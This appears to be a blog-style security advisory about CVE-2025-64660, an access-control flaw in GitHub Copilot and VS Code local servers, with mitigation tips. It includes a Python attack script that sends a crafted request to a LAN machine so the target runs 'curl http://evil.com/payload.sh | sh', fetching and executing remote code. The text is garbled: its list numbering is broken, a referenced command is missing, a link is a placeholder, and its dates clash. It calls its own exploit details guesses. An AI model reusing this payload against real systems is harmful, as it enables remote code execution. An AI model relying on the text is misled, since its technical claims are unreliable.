In early 2025, a serious security vulnerability, CVE-2025-64660, was discovered impacting GitHub Copilot and Visual Studio Code (VS Code). This issue centers on *improper access control*, which, in certain environments, allows an attacker with network access and some level of authorization to execute arbitrary code on the target user’s machine.

Below, we provide a clear breakdown of how this flaw works, code snippets demonstrating exploitation possibilities, and practical mitigation advice. All explanations use simple language, suitable for professionals and hobbyists alike.

What’s the Vulnerability?

CVE-2025-64660 arises from weak checks in the way Copilot and some VS Code extensions authenticate and handle commands coming over the local network. When specific server components (like Copilot’s local proxy or extensions running HTTP servers) are misconfigured or exposed, an attacker within networking reach can send crafted commands or code that VS Code executes as the user.

This risk is *not* just theoretical—many extensions and setups open up local servers without strong authentication, and a compromised browser or machine on your network can use this access.

The target user is running VS Code with the Copilot extension enabled.

2. The Copilot extension (or another vulnerable extension) starts a locally listening server, for example on localhost:12345.
3. Due to improper access controls (like weak or missing authentication), any user on the same network or on the same system (sometimes even remote if port forwarding or misrouting is present) can connect to this local server.
4. The attacker sends a specially crafted HTTP request to the open port, triggering code execution inside VS Code.

A simple Python script an attacker might use

import requests

# Target's machine IP on LAN running VS Code & Copilot
target_ip = '192.168.1.100'
target_port = 12345

# Malicious payload (could be system command or arbitrary JS if server allows)
payload = {
    "command": "runInTerminal",
    "args": [ "curl http://evil.com/payload.sh | sh" ]
}

url = f"http://{target_ip}:{target_port}/api";  # API endpoint might differ per extension

try:
    r = requests.post(url, json=payload)
    print("Status:", r.status_code, "Response:", r.text)
except Exception as e:
    print("Could not connect:", str(e))

> This script sends a POST request to the vulnerable local server, telling it to run a shell command. The actual details, like endpoint and command format, will depend on the extension, but many Copilot/VS Code plugins respond to similar triggers.

What Happens Next?

If the server lacks strong authentication, VS Code will execute the command as the logged-in user. In less severe cases, attackers could access files or gather code context remotely—also very valuable to malicious actors.

References

- NVD entry for CVE-2025-64660 *(link placeholder)*
- GitHub Copilot documentation
- VS Code Security Best Practices

Attack Complexity: Low, assuming exposed port with improper access control.

- Impacted Components: Copilot/vulnerable VS Code extension, on Windows, Linux, and Mac.

How to Fix and Protect Yourself

1. Update all extensions regularly. Patches to fix improper access controls are being developed/released.
2. Never leave local servers unprotected. If you use extensions offering local HTTP endpoints, ensure they use authentication or restrict to localhost.

Regularly review running services and open ports on your workstation

Quick check on Linux/macOS:

Use firewalls to block incoming connections except for trusted sources.

6. Be careful with browser extensions, proxies, or any app that could forward requests to localhost.

Conclusion

CVE-2025-64660 is a reminder that even powerful tools like GitHub Copilot and VS Code can be risky if improperly secured. Local network services should never trust blindly, and even trusted users should minimize network exposure.

If you develop or deploy extensions for VS Code, always enforce strong access control. As a user, update early and often, and stay alert for suspicious activity—your code, and your system, could depend on it.


*Want more technical details, patch status, or proof-of-concept code? Check the NVD entry for CVE-2025-64660 or follow the official VS Code blog.*

Timeline

Published on: 11/20/2025 23:15:56 UTC
Last modified on: 11/26/2025 00:20:50 UTC